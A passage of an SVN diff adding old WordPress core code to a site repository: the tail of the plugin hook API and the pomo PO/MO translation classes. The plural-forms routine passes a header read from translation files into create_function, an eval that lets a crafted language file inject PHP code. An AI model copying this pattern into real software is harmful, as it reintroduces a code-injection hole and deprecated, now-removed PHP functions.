+ * folder. This file will be called, if it exists, during the uninstall process
+ * bypassing the uninstall hook. The plugin, when using the 'uninstall.php'
+ * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before
+ * executing.
+ *
+ * @since 2.7
+ *
+ * @param string $file
+ * @param callback $callback The callback to run when the hook is called.
+ */
+function register_uninstall_hook($file, $callback) {
+	// The option should not be autoloaded, because it is not needed in most
+	// cases. Emphasis should be put on using the 'uninstall.php' way of
+	// uninstalling the plugin.
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	$uninstallable_plugins[plugin_basename($file)] = $callback;
+	update_option('uninstall_plugins', $uninstallable_plugins);
+}
+
+/**
+ * Calls the 'all' hook, which will process the functions hooked into it.
+ *
+ * The 'all' hook passes all of the arguments or parameters that were used for
+ * the hook, which this function was called for.
+ *
+ * This function is used internally for apply_filters(), do_action(), and
+ * do_action_ref_array() and is not meant to be used from outside those
+ * functions. This function does not check for the existence of the all hook, so
+ * it will fail unless the all hook exists prior to this function call.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 2.5
+ * @access private
+ *
+ * @uses $wp_filter Used to process all of the functions in the 'all' hook
+ *
+ * @param array $args The collected parameters from the hook that was called.
+ * @param string $hook Optional. The hook name that was used to call the 'all' hook.
+ */
+function _wp_call_all_hook($args) {
+	global $wp_filter;
+
+	reset( $wp_filter['all'] );
+	do {
+		foreach( (array) current($wp_filter['all']) as $the_ )
+			if ( !is_null($the_['function']) )
+				call_user_func_array($the_['function'], $args);
+
+	} while ( next($wp_filter['all']) !== false );
+}
+
+/**
+ * Build Unique ID for storage and retrieval.
+ *
+ * The old way to serialize the callback caused issues and this function is the
+ * solution. It works by checking for objects and creating an a new property in
+ * the class to keep track of the object and new objects of the same class that
+ * need to be added.
+ *
+ * It also allows for the removal of actions and filters for objects after they
+ * change class properties. It is possible to include the property $wp_filter_id
+ * in your class and set it to "null" or a number to bypass the workaround.
+ * However this will prevent you from adding new classes and any new classes
+ * will overwrite the previous hook by the same class.
+ *
+ * Functions and static method callbacks are just returned as strings and
+ * shouldn't have any speed penalty.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @access private
+ * @since 2.2.3
+ * @link http://trac.wordpress.org/ticket/3875
+ *
+ * @global array $wp_filter Storage for all of the filters and actions
+ * @param string $tag Used in counting how many hooks were applied
+ * @param callback $function Used for creating unique id
+ * @param int|bool $priority Used in counting how many hooks were applied.  If === false and $function is an object reference, we return the unique id only if it already has one, false otherwise.
+ * @param string $type filter or action
+ * @return string|bool Unique ID for usage as array key or false if $priority === false and $function is an object reference, and it does not already have a uniqe id.
+ */
+function _wp_filter_build_unique_id($tag, $function, $priority) {
+	global $wp_filter;
+	static $filter_id_count = 0;
+
+	// If function then just skip all of the tests and not overwrite the following.
+	if ( is_string($function) )
+		return $function;
+	// Object Class Calling
+	else if (is_object($function[0]) ) {
+		$obj_idx = get_class($function[0]).$function[1];
+		if ( !isset($function[0]->wp_filter_id) ) {
+			if ( false === $priority )
+				return false;
+			$obj_idx .= isset($wp_filter[$tag][$priority]) ? count((array)$wp_filter[$tag][$priority]) : 0;
+			$function[0]->wp_filter_id = $filter_id_count++;
+		} else
+			$obj_idx .= $function[0]->wp_filter_id;
+		return $obj_idx;
+	}
+	// Static Calling
+	else if ( is_string($function[0]) )
+		return $function[0].$function[1];
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/pomo/entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/pomo/entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/pomo/entry.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * Contains Translation_Entry class
+ *
+ * @version $Id: entry.php 115 2009-05-11 18:56:15Z nbachiyski $
+ * @package pomo
+ * @subpackage entry
+ */
+
+
+/**
+ * Translation_Entry class encapsulates a translatable string
+ */
+class Translation_Entry {
+
+	/**
+	 * Whether the entry contains a string and its plural form, default is false
+	 *
+	 * @var boolean
+	 */
+	var $is_plural = false;
+
+	var $context = null;
+	var $singular = null;
+	var $plural = null;
+	var $translations = array();
+	var $translator_comments = '';
+	var $extracted_comments = '';
+	var $references = array();
+	var $flags = array();
+
+	/**
+	 * @param array $args associative array, support following keys:
+	 * 	- singular (string) -- the string to translate, if omitted and empty entry will be created
+	 * 	- plural (string) -- the plural form of the string, setting this will set {@link $is_plural} to true
+	 * 	- translations (array) -- translations of the string and possibly -- its plural forms
+	 * 	- context (string) -- a string differentiating two equal strings used in different contexts
+	 * 	- translator_comments (string) -- comments left by translators
+	 * 	- extracted_comments (string) -- comments left by developers
+	 * 	- references (array) -- places in the code this strings is used, in relative_to_root_path/file.php:linenum form
+	 * 	- flags (array) -- flags like php-format
+	 */
+	function Translation_Entry($args=array()) {
+		// if no singular -- empty object
+		if (!isset($args['singular'])) {
+			return;
+		}
+		// get member variable values from args hash
+		$object_varnames = array_keys(get_object_vars($this));
+		foreach ($args as $varname => $value) {
+			$this->$varname = $value;
+		}
+		if (isset($args['plural'])) $this->is_plural = true;
+		if (!is_array($this->translations)) $this->translations = array();
+		if (!is_array($this->references)) $this->references = array();
+		if (!is_array($this->flags)) $this->flags = array();
+	}
+
+	/**
+	 * Generates a unique key for this entry
+	 *
+	 * @return string|bool the key or false if the entry is empty
+	 */
+	function key() {
+		if (is_null($this->singular)) return false;
+		// prepend context and EOT, like in MO files
+		return is_null($this->context)? $this->singular : $this->context.chr(4).$this->singular;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/pomo/mo.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/pomo/mo.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/pomo/mo.php	(revision 44)
@@ -0,0 +1,185 @@
+<?php
+/**
+ * Class for working with MO files
+ *
+ * @version $Id: mo.php 106 2009-04-23 19:48:22Z nbachiyski $
+ * @package pomo
+ * @subpackage mo
+ */
+
+require_once dirname(__FILE__) . '/translations.php';
+require_once dirname(__FILE__) . '/streams.php';
+
+class MO extends Gettext_Translations {
+
+	var $_nplurals = 2;
+
+	/**
+	 * Fills up with the entries from MO file $filename
+	 *
+	 * @param string $filename MO file to load
+	 */
+	function import_from_file($filename) {
+		$reader = new POMO_CachedIntFileReader($filename);
+		if (isset($reader->error)) {
+			return false;
+		}
+		return $this->import_from_reader($reader);
+	}
+	
+	function export_to_file($filename) {
+		$fh = fopen($filename, 'wb');
+		if ( !$fh ) return false;
+		$entries = array_filter($this->entries, create_function('$e', 'return !empty($e->translations);'));
+		ksort($entries);
+		$magic = 0x950412de;
+		$revision = 0;
+		$total = count($entries) + 1; // all the headers are one entry
+		$originals_lenghts_addr = 28;
+		$translations_lenghts_addr = $originals_lenghts_addr + 8 * $total;
+		$size_of_hash = 0;
+		$hash_addr = $translations_lenghts_addr + 8 * $total;
+		$current_addr = $hash_addr;
+		fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr,
+			$translations_lenghts_addr, $size_of_hash, $hash_addr));
+		fseek($fh, $originals_lenghts_addr);
+		
+		// headers' msgid is an empty string
+		fwrite($fh, pack('VV', 0, $current_addr));
+		$current_addr++;
+		$originals_table = chr(0);
+
+		foreach($entries as $entry) {
+			$originals_table .= $this->export_original($entry) . chr(0);
+			$length = strlen($this->export_original($entry));
+			fwrite($fh, pack('VV', $length, $current_addr));
+			$current_addr += $length + 1; // account for the NULL byte after
+		}
+		
+		$exported_headers = $this->export_headers();
+		fwrite($fh, pack('VV', strlen($exported_headers), $current_addr));
+		$current_addr += strlen($exported_headers) + 1;
+		$translations_table = $exported_headers . chr(0);
+		
+		foreach($entries as $entry) {
+			$translations_table .= $this->export_translations($entry) . chr(0);
+			$length = strlen($this->export_translations($entry));
+			fwrite($fh, pack('VV', $length, $current_addr));
+			$current_addr += $length + 1;
+		}
+		
+		fwrite($fh, $originals_table);
+		fwrite($fh, $translations_table);
+		fclose($fh);
+	}
+	
+	function export_original($entry) {
+		//TODO: warnings for control characters
+		$exported = $entry->singular;
+		if ($entry->is_plural) $exported .= chr(0).$entry->plural;
+		if (!is_null($entry->context)) $exported = $entry->context . chr(4) . $exported;
+		return $exported;
+	}
+	
+	function export_translations($entry) {
+		//TODO: warnings for control characters
+		return implode(chr(0), $entry->translations);
+	}
+	
+	function export_headers() {
+		$exported = '';
+		foreach($this->headers as $header => $value) {
+			$exported.= "$header: $value\n";
+		}
+		return $exported;
+	}
+
+	function get_byteorder($magic) {
+
+		// The magic is 0x950412de
+
+		// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
+		$magic_little = (int) - 1794895138;
+		$magic_little_64 = (int) 2500072158;
+		// 0xde120495
+		$magic_big = ((int) - 569244523) && 0xFFFFFFFF;
+		
+		if ($magic_little == $magic || $magic_little_64 == $magic) {
+			return 'little';
+		} else if ($magic_big == $magic) {
+			return 'big';
+		} else {
+			return false;
+		}
+	}
+
+	function import_from_reader($reader) {
+		$reader->setEndian('little');
+		$endian = MO::get_byteorder($reader->readint32());
+		if (false === $endian) {
+			return false;
+		}
+		$reader->setEndian($endian);
+
+		$revision = $reader->readint32();
+		$total = $reader->readint32();
+		// get addresses of array of lenghts and offsets for original string and translations
+		$originals_lenghts_addr = $reader->readint32();
+		$translations_lenghts_addr = $reader->readint32();
+
+		$reader->seekto($originals_lenghts_addr);
+		$originals_lenghts = $reader->readint32array($total * 2); // each of 
+		$reader->seekto($translations_lenghts_addr);
+		$translations_lenghts = $reader->readint32array($total * 2);
+
+		$length = create_function('$i', 'return $i * 2 + 1;');
+		$offset = create_function('$i', 'return $i * 2 + 2;');
+
+		for ($i = 0; $i < $total; ++$i) {
+			$reader->seekto($originals_lenghts[$offset($i)]);
+			$original = $reader->read($originals_lenghts[$length($i)]);
+			$reader->seekto($translations_lenghts[$offset($i)]);
+			$translation = $reader->read($translations_lenghts[$length($i)]);
+			if ('' == $original) {
+				$this->set_headers($this->make_headers($translation));
+			} else {
+				$this->add_entry($this->make_entry($original, $translation));
+			}
+		}
+		return true;
+	}
+
+	/**
+	 * @static
+	 */
+	function &make_entry($original, $translation) {
+		$args = array();
+		// look for context
+		$parts = explode(chr(4), $original);
+		if (isset($parts[1])) {
+			$original = $parts[1];
+			$args['context'] = $parts[0];
+		}
+		// look for plural original
+		$parts = explode(chr(0), $original);
+		$args['singular'] = $parts[0];
+		if (isset($parts[1])) {
+			$args['plural'] = $parts[1];
+		}
+		// plural translations are also separated by \0
+		$args['translations'] = explode(chr(0), $translation);
+		$entry = & new Translation_Entry($args);
+		return $entry;
+	}
+
+	function select_plural_form($count) {
+		return $this->gettext_select_plural_form($count);
+	}
+
+	function get_plural_forms_count() {
+		return $this->_nplurals;
+	}
+
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/pomo/po.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/pomo/po.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/pomo/po.php	(revision 44)
@@ -0,0 +1,360 @@
+<?php
+/**
+ * Class for working with PO files
+ *
+ * @version $Id: po.php 123 2009-05-13 19:35:43Z nbachiyski $
+ * @package pomo
+ * @subpackage po
+ */
+
+require_once dirname(__FILE__) . '/translations.php';
+
+define('PO_MAX_LINE_LEN', 79);
+
+ini_set('auto_detect_line_endings', 1);
+
+/**
+ * Routines for working with PO files
+ */
+class PO extends Gettext_Translations {
+	
+
+	/**
+	 * Exports headers to a PO entry
+	 *
+	 * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
+	 */
+	function export_headers() {
+		$header_string = '';
+		foreach($this->headers as $header => $value) {
+			$header_string.= "$header: $value\n";
+		}
+		$poified = PO::poify($header_string);
+		return rtrim("msgid \"\"\nmsgstr $poified");
+	}
+
+	/**
+	 * Exports all entries to PO format
+	 *
+	 * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end
+	 */
+	function export_entries() {
+		//TODO sorting
+		return implode("\n\n", array_map(array('PO', 'export_entry'), $this->entries));
+	}
+
+	/**
+	 * Exports the whole PO file as a string
+	 *
+	 * @param bool $include_headers whether to include the headers in the export
+	 * @return string ready for inclusion in PO file string for headers and all the enrtries
+	 */
+	function export($include_headers = true) {
+		$res = '';
+		if ($include_headers) {
+			$res .= $this->export_headers();
+			$res .= "\n\n";
+		}
+		$res .= $this->export_entries();
+		return $res;
+	}
+
+	/**
+	 * Same as {@link export}, but writes the result to a file
+	 *
+	 * @param string $filename where to write the PO string
+	 * @param bool $include_headers whether to include tje headers in the export
+	 * @return bool true on success, false on error
+	 */
+	function export_to_file($filename, $include_headers = true) {
+		$fh = fopen($filename, 'w');
+		if (false === $fh) return false;
+		$export = $this->export($include_headers);
+		$res = fwrite($fh, $export);
+		if (false === $res) return false;
+		return fclose($fh);
+	}
+
+	/**
+	 * Formats a string in PO-style
+	 *
+	 * @static
+	 * @param string $string the string to format
+	 * @return string the poified string
+	 */
+	function poify($string) {
+		$quote = '"';
+		$slash = '\\';
+		$newline = "\n";
+
+		$replaces = array(
+			"$slash" 	=> "$slash$slash",
+			"$quote"	=> "$slash$quote",
+			"\t" 		=> '\t',
+		);
+
+		$string = str_replace(array_keys($replaces), array_values($replaces), $string);
+
+		$po = $quote.implode("${slash}n$quote$newline$quote", explode($newline, $string)).$quote;
+		// add empty string on first line for readbility
+		if (false !== strpos($string, $newline) &&
+				(substr_count($string, $newline) > 1 || !($newline === substr($string, -strlen($newline))))) {
+			$po = "$quote$quote$newline$po";
+		}
+		// remove empty strings
+		$po = str_replace("$newline$quote$quote", '', $po);
+		return $po;
+	}
+	
+	/**
+	 * Gives back the original string from a PO-formatted string
+	 * 
+	 * @static
+	 * @param string $string PO-formatted string
+	 * @return string enascaped string
+	 */
+	function unpoify($string) {
+		$escapes = array('t' => "\t", 'n' => "\n", '\\' => '\\');
+		$lines = array_map('trim', explode("\n", $string));
+		$lines = array_map(array('PO', 'trim_quotes'), $lines);
+		$unpoified = '';
+		$previous_is_backslash = false;
+		foreach($lines as $line) {
+			preg_match_all('/./u', $line, $chars);
+			$chars = $chars[0];
+			foreach($chars as $char) {
+				if (!$previous_is_backslash) {
+					if ('\\' == $char)
+						$previous_is_backslash = true;
+					else
+						$unpoified .= $char;
+				} else {
+					$previous_is_backslash = false;
+					$unpoified .= isset($escapes[$char])? $escapes[$char] : $char;
+				}
+			}
+		}
+		return $unpoified;
+	}
+
+	/**
+	 * Inserts $with in the beginning of every new line of $string and 
+	 * returns the modified string
+	 *
+	 * @static
+	 * @param string $string prepend lines in this string
+	 * @param string $with prepend lines with this string
+	 */
+	function prepend_each_line($string, $with) {
+		$php_with = var_export($with, true);
+		$lines = explode("\n", $string);
+		// do not prepend the string on the last empty line, artefact by explode
+		if ("\n" == substr($string, -1)) unset($lines[count($lines) - 1]);
+		$res = implode("\n", array_map(create_function('$x', "return $php_with.\$x;"), $lines));
+		// give back the empty line, we ignored above
+		if ("\n" == substr($string, -1)) $res .= "\n";
+		return $res;
+	}
+
+	/**
+	 * Prepare a text as a comment -- wraps the lines and prepends #
+	 * and a special character to each line
+	 *
+	 * @access private
+	 * @param string $text the comment text
+	 * @param string $char character to denote a special PO comment,
+	 * 	like :, default is a space
+	 */
+	function comment_block($text, $char=' ') {
+		$text = wordwrap($text, PO_MAX_LINE_LEN - 3);
+		return PO::prepend_each_line($text, "#$char ");
+	}
+
+	/**
+	 * Builds a string from the entry for inclusion in PO file
+	 *
+	 * @static
+	 * @param object &$entry the entry to convert to po string
+	 * @return string|bool PO-style formatted string for the entry or
+	 * 	false if the entry is empty
+	 */
+	function export_entry(&$entry) {
+		if (is_null($entry->singular)) return false;
+		$po = array();
+		if (!empty($entry->translator_comments)) $po[] = PO::comment_block($entry->translator_comments);
+		if (!empty($entry->extracted_comments)) $po[] = PO::comment_block($entry->extracted_comments, '.');
+		if (!empty($entry->references)) $po[] = PO::comment_block(implode(' ', $entry->references), ':');
+		if (!empty($entry->flags)) $po[] = PO::comment_block(implode(", ", $entry->flags), ',');
+		if (!is_null($entry->context)) $po[] = 'msgctxt '.PO::poify($entry->context);
+		$po[] = 'msgid '.PO::poify($entry->singular);
+		if (!$entry->is_plural) {
+			$translation = empty($entry->translations)? '' : $entry->translations[0];
+			$po[] = 'msgstr '.PO::poify($translation);
+		} else {
+			$po[] = 'msgid_plural '.PO::poify($entry->plural);
+			$translations = empty($entry->translations)? array('', '') : $entry->translations;
+			foreach($translations as $i => $translation) {
+				$po[] = "msgstr[$i] ".PO::poify($translation);
+			}
+		}
+		return implode("\n", $po);
+	}
+
+	function import_from_file($filename) {
+		$f = fopen($filename, 'r');
+		if (!$f) return false;
+		$lineno = 0;
+		while (true) {
+			$res = $this->read_entry($f, $lineno);
+			if (!$res) break;
+			if ($res['entry']->singular == '') {
+				$this->set_headers($this->make_headers($res['entry']->translations[0]));
+			} else {
+				$this->add_entry($res['entry']);
+			}
+		}
+		PO::read_line($f, 'clear');
+		return $res !== false;
+	}
+	
+	function read_entry($f, $lineno = 0) {
+		$entry = new Translation_Entry();
+		// where were we in the last step
+		// can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural
+		$context = '';
+		$msgstr_index = 0;
+		$is_final = create_function('$context', 'return $context == "msgstr" || $context == "msgstr_plural";');
+		while (true) {
+			$lineno++;
+			$line = PO::read_line($f);
+			if (!$line)  {
+				if (feof($f)) {
+					if ($is_final($context))
+						break;
+					elseif (!$context) // we haven't read a line and eof came
+						return null;
+					else
+						return false;
+				} else {
+					return false;
+				}
+			}
+			if ($line == "\n") continue;
+			$line = trim($line);
+			if (preg_match('/^#/', $line, $m)) {
+				// the comment is the start of a new entry
+				if ($is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				// comments have to be at the beginning
+				if ($context && $context != 'comment') {
+					return false;
+				}
+				// add comment
+				$this->add_comment_to_entry($entry, $line);;
+			} elseif (preg_match('/^msgctxt\s+(".*")/', $line, $m)) {
+				if ($is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				if ($context && $context != 'comment') {
+					return false;
+				}
+				$context = 'msgctxt';
+				$entry->context .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgid\s+(".*")/', $line, $m)) {
+				if ($is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				if ($context && $context != 'msgctxt' && $context != 'comment') {
+					return false;
+				}
+				$context = 'msgid';
+				$entry->singular .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgid_plural\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid') {
+					return false;
+				}
+				$context = 'msgid_plural';
+				$entry->is_plural = true;
+				$entry->plural .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgstr\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid') {
+					return false;
+				}
+				$context = 'msgstr';
+				$entry->translations = array(PO::unpoify($m[1]));
+			} elseif (preg_match('/^msgstr\[(\d+)\]\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid_plural' && $context != 'msgstr_plural') {
+					return false;
+				}
+				$context = 'msgstr_plural';
+				$msgstr_index = $m[1];
+				$entry->translations[$m[1]] = PO::unpoify($m[2]);
+			} elseif (preg_match('/^".*"$/', $line)) {
+				$unpoified = PO::unpoify($line);
+				switch ($context) {
+					case 'msgid':
+						$entry->singular .= $unpoified; break;
+					case 'msgctxt':
+						$entry->context .= $unpoified; break;
+					case 'msgid_plural':
+						$entry->plural .= $unpoified; break;
+					case 'msgstr':
+						$entry->translations[0] .= $unpoified; break;
+					case 'msgstr_plural':
+						$entry->translations[$msgstr_index] .= $unpoified; break;
+					default:
+						return false;
+				}
+			} else {
+				return false;
+			}
+		}
+		if (array() == array_filter($entry->translations)) $entry->translations = array();
+		return array('entry' => $entry, 'lineno' => $lineno);
+	}
+	
+	function read_line($f, $action = 'read') {
+		static $last_line = '';
+		static $use_last_line = false;
+		if ('clear' == $action) {
+			$last_line = '';
+			return true;
+		}
+		if ('put-back' == $action) {
+			$use_last_line = true;
+			return true;
+		}
+		$line = $use_last_line? $last_line : fgets($f);
+		$last_line = $line;
+		$use_last_line = false;
+		return $line;
+	}
+	
+	function add_comment_to_entry(&$entry, $po_comment_line) {
+		$first_two = substr($po_comment_line, 0, 2);
+		$comment = trim(substr($po_comment_line, 2));
+		if ('#:' == $first_two) {
+			$entry->references = array_merge($entry->references, preg_split('/\s+/', $comment));
+		} elseif ('#.' == $first_two) {
+			$entry->extracted_comments = trim($entry->extracted_comments . "\n" . $comment);
+		} elseif ('#,' == $first_two) {
+			$entry->flags = array_merge($entry->flags, preg_split('/,\s*/', $comment));
+		} else {
+			$entry->translator_comments = trim($entry->translator_comments . "\n" . $comment);
+		}
+	}
+	
+	function trim_quotes($s) {
+		if ( substr($s, 0, 1) == '"') $s = substr($s, 1);
+		if ( substr($s, -1, 1) == '"') $s = substr($s, 0, -1);
+		return $s;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/pomo/streams.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/pomo/streams.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/pomo/streams.php	(revision 44)
@@ -0,0 +1,137 @@
+<?php
+/**
+ * Classes, which help reading streams of data from files.
+ * Based on the classes from Danilo Segan <danilo@kvota.net>
+ *
+ * @version $Id: streams.php 138 2009-06-23 13:22:09Z nbachiyski $
+ * @package pomo
+ * @subpackage streams
+ */
+
+
+/**
+ * Provides file-like methods for manipulating a string instead
+ * of a physical file.
+ */
+class POMO_StringReader {
+  var $_pos;
+  var $_str;
+
+	function POMO_StringReader($str = '') {
+		$this->_str = $str;
+		$this->_pos = 0;
+		$this->is_overloaded = ((ini_get("mbstring.func_overload") & 2) != 0) && function_exists('mb_substr');
+	}
+
+	function _substr($string, $start, $length) {
+		if ($this->is_overloaded) {
+			return mb_substr($string,$start,$length,'ascii');
+		} else {
+			return substr($string,$start,$length);
+		}
+	}
+	
+	function _strlen($string) {
+		if ($this->is_overloaded) {
+			return mb_strlen($string,'ascii');
+		} else {
+			return strlen($string);
+		}
+	}
+
+	function read($bytes) {
+		$data = $this->_substr($this->_str, $this->_pos, $bytes);
+		$this->_pos += $bytes;
+		if ($this->_strlen($this->_str) < $this->_pos) $this->_pos = $this->_strlen($this->_str);
+		return $data;
+	}
+
+	function seekto($pos) {
+		$this->_pos = $pos;
+		if ($this->_strlen($this->_str) < $this->_pos) $this->_pos = $this->_strlen($this->_str);
+		return $this->_pos;
+	}
+
+	function pos() {
+		return $this->_pos;
+	}
+
+	function length() {
+		return $this->_strlen($this->_str);
+	}
+
+}
+
+/**
+ * Reads the contents of the file in the beginning.
+ */
+class POMO_CachedFileReader extends POMO_StringReader {
+	function POMO_CachedFileReader($filename) {
+		parent::POMO_StringReader();
+		$this->_str = file_get_contents($filename);
+		if (false === $this->_str)
+			return false;
+		$this->_pos = 0;
+	}
+}
+
+/**
+ * Allows reading integers from a file.
+ */
+class POMO_CachedIntFileReader extends POMO_CachedFileReader {
+
+	var $endian = 'little';
+
+	/**
+	 * Opens a file and caches it.
+	 *
+	 * @param $filename string name of the file to be opened
+	 * @param $endian string endianness of the words in the file, allowed
+	 * 	values are 'little' or 'big'. Default value is 'little'
+	 */
+	function POMO_CachedIntFileReader($filename, $endian = 'little') {
+		$this->endian = $endian;
+		parent::POMO_CachedFileReader($filename);
+	}
+
+	/**
+	 * Sets the endianness of the file.
+	 *
+	 * @param $endian string 'big' or 'little'
+	 */
+	function setEndian($endian) {
+		$this->endian = $endian;
+	}
+
+	/**
+	 * Reads a 32bit Integer from the Stream
+	 *
+	 * @return mixed The integer, corresponding to the next 32 bits from
+	 * 	the stream of false if there are not enough bytes or on error
+	 */
+	function readint32() {
+		$bytes = $this->read(4);
+		if (4 != $this->_strlen($bytes))
+			return false;
+		$endian_letter = ('big' == $this->endian)? 'N' : 'V';
+		$int = unpack($endian_letter, $bytes);
+		return array_shift($int);
+	}
+
+	/**
+	 * Reads an array of 32-bit Integers from the Stream
+	 *
+	 * @param integer count How many elements should be read
+	 * @return mixed Array of integers or false if there isn't
+	 * 	enough data or on error
+	 */
+	function readint32array($count) {
+		$bytes = $this->read(4 * $count);
+		if (4*$count != $this->_strlen($bytes))
+			return false;
+		$endian_letter = ('big' == $this->endian)? 'N' : 'V';
+		return unpack($endian_letter.$count, $bytes);
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/pomo/translations.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/pomo/translations.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/pomo/translations.php	(revision 44)
@@ -0,0 +1,199 @@
+<?php
+/**
+ * Class for a set of entries for translation and their associated headers
+ *
+ * @version $Id: translations.php 114 2009-05-11 17:30:38Z nbachiyski $
+ * @package pomo
+ * @subpackage translations
+ */
+
+require_once dirname(__FILE__) . '/entry.php';
+
+class Translations {
+	var $entries = array();
+	var $headers = array();
+
+	/**
+	 * Add entry to the PO structure
+	 *
+	 * @param object &$entry
+	 * @return bool true on success, false if the entry doesn't have a key
+	 */
+	function add_entry($entry) {
+		if (is_array($entry)) {
+			$entry = new Translation_Entry($entry);
+		}
+		$key = $entry->key();
+		if (false === $key) return false;
+		$this->entries[$key] = $entry;
+		return true;
+	}
+
+	/**
+	 * Sets $header PO header to $value
+	 *
+	 * If the header already exists, it will be overwritten
+	 *
+	 * TODO: this should be out of this class, it is gettext specific
+	 *
+	 * @param string $header header name, without trailing :
+	 * @param string $value header value, without trailing \n
+	 */
+	function set_header($header, $value) {
+		$this->headers[$header] = $value;
+	}
+
+	function set_headers(&$headers) {
+		foreach($headers as $header => $value) {
+			$this->set_header($header, $value);
+		}
+	}
+
+	function get_header($header) {
+		return isset($this->headers[$header])? $this->headers[$header] : false;
+	}
+
+	function translate_entry(&$entry) {
+		$key = $entry->key();
+		return isset($this->entries[$key])? $this->entries[$key] : false;
+	}
+
+	function translate($singular, $context=null) {
+		$entry = new Translation_Entry(array('singular' => $singular, 'context' => $context));
+		$translated = $this->translate_entry($entry);
+		return ($translated && !empty($translated->translations))? $translated->translations[0] : $singular;
+	}
+
+	/**
+	 * Given the number of items, returns the 0-based index of the plural form to use
+	 *
+	 * Here, in the base Translations class, the commong logic for English is implmented:
+	 * 	0 if there is one element, 1 otherwise
+	 *
+	 * This function should be overrided by the sub-classes. For example MO/PO can derive the logic
+	 * from their headers.
+	 *
+	 * @param integer $count number of items
+	 */
+	function select_plural_form($count) {
+		return 1 == $count? 0 : 1;
+	}
+
+	function get_plural_forms_count() {
+		return 2;
+	}
+
+	function translate_plural($singular, $plural, $count, $context = null) {
+		$entry = new Translation_Entry(array('singular' => $singular, 'plural' => $plural, 'context' => $context));
+		$translated = $this->translate_entry($entry);
+		$index = $this->select_plural_form($count);
+		$total_plural_forms = $this->get_plural_forms_count();
+		if ($translated && 0 <= $index && $index < $total_plural_forms &&
+				is_array($translated->translations) &&
+				isset($translated->translations[$index]))
+			return $translated->translations[$index];
+		else
+			return 1 == $count? $singular : $plural;
+	}
+
+	/**
+	 * Merge $other in the current object.
+	 *
+	 * @param Object &$other Another Translation object, whose translations will be merged in this one
+	 * @return void
+	 **/
+	function merge_with(&$other) {
+		$this->entries = array_merge($this->entries, $other->entries);
+	}
+}
+
+class Gettext_Translations extends Translations {
+	/**
+	 * The gettext implmentation of select_plural_form.
+	 *
+	 * It lives in this class, because there are more than one descendand, which will use it and
+	 * they can't share it effectively.
+	 *
+	 */
+	function gettext_select_plural_form($count) {
+		if (!isset($this->_gettext_select_plural_form) || is_null($this->_gettext_select_plural_form)) {
+			$plural_header = $this->get_header('Plural-Forms');
+			$this->_gettext_select_plural_form = $this->_make_gettext_select_plural_form($plural_header);
+		}
+		return call_user_func($this->_gettext_select_plural_form, $count);
+	}
+
+	/**
+	 * Makes a function, which will return the right translation index, according to the
+	 * plural forms header
+	 */
+	function _make_gettext_select_plural_form($plural_header) {
+		$res = create_function('$count', 'return 1 == $count? 0 : 1;');
+		if ($plural_header && (preg_match('/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $plural_header, $matches))) {
+			$nplurals = (int)$matches[1];
+			$this->_nplurals = $nplurals;
+			$plural_expr = trim($this->_parenthesize_plural_exression($matches[2]));
+			$plural_expr = str_replace('n', '$n', $plural_expr);
+			$func_body = "
+				\$index = (int)($plural_expr);
+				return (\$index < $nplurals)? \$index : $nplurals - 1;";
+			$res = create_function('$n', $func_body);
+		}
+		return $res;
+	}
+
+	/**
+	 * Adds parantheses to the inner parts of ternary operators in
+	 * plural expressions, because PHP evaluates ternary oerators from left to right
+	 * 
+	 * @param string $expression the expression without parentheses
+	 * @return string the expression with parentheses added
+	 */
+	function _parenthesize_plural_exression($expression) {
+		$expression .= ';';
+		$res = '';
+		$depth = 0;
+		for ($i = 0; $i < strlen($expression); ++$i) {
+			$char = $expression[$i];
+			switch ($char) {
+				case '?':
+					$res .= ' ? (';
+					$depth++;
+					break;
+				case ':':
+					$res .= ') : (';
+					break;
+				case ';':
+					$res .= str_repeat(')', $depth) . ';';
+					$depth= 0;
+					break;
+				default:
+					$res .= $char;
+			}
+		}
+		return rtrim($res, ';');
+	}
+	
+	function make_headers($translation) {
+		$headers = array();
+		// sometimes \ns are used instead of real new lines
+		$translation = str_replace('\n', "\n", $translation);
+		$lines = explode("\n", $translation);
+		foreach($lines as $line) {
+			$parts = explode(':', $line, 2);
+			if (!isset($parts[1])) continue;
+			$headers[trim($parts[0])] = trim($parts[1]);
+		}
+		return $headers;
+	}
+
+	function set_header($header, $value) {
+		parent::set_header($header, $value);
